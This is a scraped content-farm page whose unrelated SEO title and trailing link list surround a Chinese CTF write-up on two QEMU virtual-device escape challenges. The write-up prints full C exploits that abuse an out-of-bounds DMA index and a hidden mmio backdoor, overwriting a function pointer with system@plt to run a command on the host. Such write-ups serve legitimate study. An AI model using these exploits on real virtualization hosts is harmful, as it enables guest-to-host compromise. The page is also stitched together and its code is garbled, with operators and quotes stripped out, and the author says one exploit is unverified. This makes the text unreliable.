当前位置: 首页 > news >正文

linux网站环境淘宝美工培训

linux网站环境,淘宝美工培训,电子展厅,网站设计所需要的理念前言 由于本地环境问题#xff0c;babyqemu 环境都没有起起#xff0c;这里仅仅做记录#xff0c;exp 可能不正确。 HITB2017-babyqemu 设备逆向 设备定位啥的就不说了#xff0c;先看下实例结构体#xff1a; 其中 dma_state 结构体如下#xff1a; 这里看字段猜测…前言 由于本地环境问题babyqemu 环境都没有起起这里仅仅做记录exp 可能不正确。 HITB2017-babyqemu  设备逆向 设备定位啥的就不说了先看下实例结构体 其中 dma_state 结构体如下 这里看字段猜测跟 dma 相关然后只注册了 mmio所以直接看 mmio_read/mmio_write 吧。 这里为了方便我把函数的功能直接写出来了 hitb_mmio_read 就是去读取实例结构体中的字段。hitb_mmio_write 主要就是设置 dma 中的相关字段。 然后最重要的就是那个时钟任务了该时钟任务会在 hitb_mmio_write 函数中被触l 漏洞就在该时钟任务中  可以看到在对物理内存进行读写时并没有检查 dma.cnt 的大小并且也没有检查读取下标的范围。但是对于 dma.cnt 大小没有检查对攻击者而言是没有的因为其对应的是用户的 buf。 漏洞利用 由于没有对 idx 进行检查所以我们可以越界读取 enc 函数指针然后以此计算出 systemplt 的地址。然后利用越界写修改 enc 函数指针为 systemplt 地址并在 dma_buf 开头写上 cmd。这样当触发 enc(dma_buf) 时就可以执行任意命令。 即 exp 如下由于环境exp 没有经过验证 #include stdio.h #include stdlib.h #include fcntl.h #include stdint.h #include string.hvoid *mmio_base; void mmio_init() {int fd open(resource0_path, O_RDWR);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x100000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE); }void mmio_write(uint32_t addr, uint32_t val) {*(uint32_t*)(mmio_base addr) val; }uint64_t gva_to_gpa(void *addr) {uint64_t page;int fd open(/proc/self/pagemap, O_RDONLY);if (fd 0) puts([X] open pagemap), exit(EXIT_FAILURE);lseek(fd, (((uint64_t)addr 12) 3), 0);read(fd, page, 8);if (!(page (1ULL 63))) puts([X] page not present), exit(EXIT_FAILURE);return ((page ((1ULL 55 )- 1)) 12) | ((uint64_t)addr (4095)); }void arb_read(uint64_t dst, uint32_t src, uint32_t len) {uint64_t gpa gva_to_gpa(dst);mmio_write(0x88, gpa);mmio_write(0x80, src0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2);sleep(1); }uint64_t arb_write(uint32_t dst, uint64_t src, uint32_t len) {uint64_t gpa gva_to_gpa(src);mmio_write(0x88, dst0x40000);mmio_write(0x80, gpa);mmio_write(0x90, len);mmio_write(0x98, 1);sleep(1); }void triger(uint32_t src, uint32_t len) {mmio_write(0x88, 0);mmio_write(0x80, src0x40000);mmio_write(0x90, len);mmio_write(0x98, 1|2|4);sleep(1); }int main(int argc, char** argv, char** envp) {mmio_init();uint64_t enc_addr 0;arb_read(enc_addr, 0x1000, 8);printf([] enc_addr %#p\n, enc_addr);uint64_t offset 0; // enc - system offsetuint64_t system_addr enc_addr offset;printf([] system_addr %#p\n, system_addr);char * cmd xcalc;arb_write(0x100, cmd, strlen(cmd));arb_write(0x1000, system_addr, 8);triger(0x100, 0);return 0; } 2019数字经济-qemu 用户名root无密码 该题没有符号这题其实非常简单有直接的后门。所以重在对题目的分析上面。 这题没有符号但是挺简单的白给的后门。 mmio_read 里面存在后门 但是这里有一个 check 而在 mmio_write 函数中就可以设置 checked 数组的值从而绕过 check并且还可以设置 command 的值 exp 如下 #include stdlib.h #include stdio.h #include string.h #include fcntl.h #include stdint.h #include sys/mman.hvoid * mmio_base; void mmio_init() {int fd open(/sys/devices/pci0000:00/0000:00:04.0/resource0, O_RDWR|O_SYNC);if (fd 0) puts([X] open for mmio), exit(EXIT_FAILURE);mmio_base mmap(0, 0x1000000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);if (mmio_base 0) puts([X] mmap for mmio), exit(EXIT_FAILURE);if (mlock(mmio_base, 0x1000000) 0) puts([X] mlock for mmio), exit(EXIT_FAILURE); }void mmio_write(uint64_t opt, uint64_t idx, uint64_t val) {uint64_t addr 0;if (opt 6)addr (opt 20) | idx;elseaddr (opt 20) | (idx 16);printf(%#llx\n, addr);*(uint64_t*)(mmio_base addr) val; }int main(int argc, char** argv, char** envp) {// wwssadadBABAmmio_init();mmio_write(0, 0, 0);mmio_write(0, 1, 0);mmio_write(1, 2, 0);mmio_write(1, 3, 0);mmio_write(2, 4, 0);mmio_write(3, 5, 0);mmio_write(2, 6, 0);mmio_write(3, 7, 0);mmio_write(5, 8, 0);mmio_write(4, 9, 0);mmio_write(5, 10, 0);mmio_write(4, 11, 0);char cmd[0x8] xcalc;;mmio_write(6, 0, *(uint64_t*)cmd[0]);return *(int*)mmio_base; } xi 效果如下
http://www.dnsts.com.cn/news/276377.html

相关文章:

  • 怎么给网站创建二维码本地wordpress打开慢
  • 合肥建站公司有哪家招聘的房间设计图软件
  • 请简述网站建设的方法设计ui
  • asp。net网站开发广东建设数据开放平台系统
  • 建设行业信息和技术应用服务网站会所类WordPress主题
  • 广州免费建站找哪家wordpress腾讯云插件
  • 网站建设办法外贸平台哪个最好
  • 做网站哪wordpress悬浮刷新
  • 做外贸做网站wordpress 文件加载顺序
  • 整站优化推广品牌之梦系统怎么修改网站标头图片
  • 韶关网站开发汕头品牌设计公司
  • icp网站快速备案新网站如何备案
  • 深圳建网站多少钱企业营销系统和网站建设
  • 手机电脑网站设计百度营销推广登录平台
  • 网站页面设计主要包括wordpress 子目录
  • 如何提高自己的销售技巧外贸网站自我建设与优化
  • 网站app的作用不会编程 做网站
  • 做网站最好的网络公司济宁网络推广公司
  • 亿网行网站建设苏州模板网站建站
  • 企业网站登录网站 做百度推广有没有效果怎么样
  • 中国建设银行广西分行网站首页代理网址域名
  • 单位网站建设费算无形资产吗成都如何做网站
  • 沂seo网站推广怎样自学设计室内装修效果图
  • 推广团队在哪里找网站优化需要做什么
  • 山东省建设管理信息网站苏州市吴江区住房和城乡建设局网站
  • 福建省建设厅网站建造师证转出wordpress感兴趣推送
  • 三水区建设局网站购物网站哪个便宜
  • 建设部网站资质公示汕尾东莞网站建设
  • 旅游网站建设报价大二网页设计作业
  • 专业网站建设品牌策划电商网站建设报价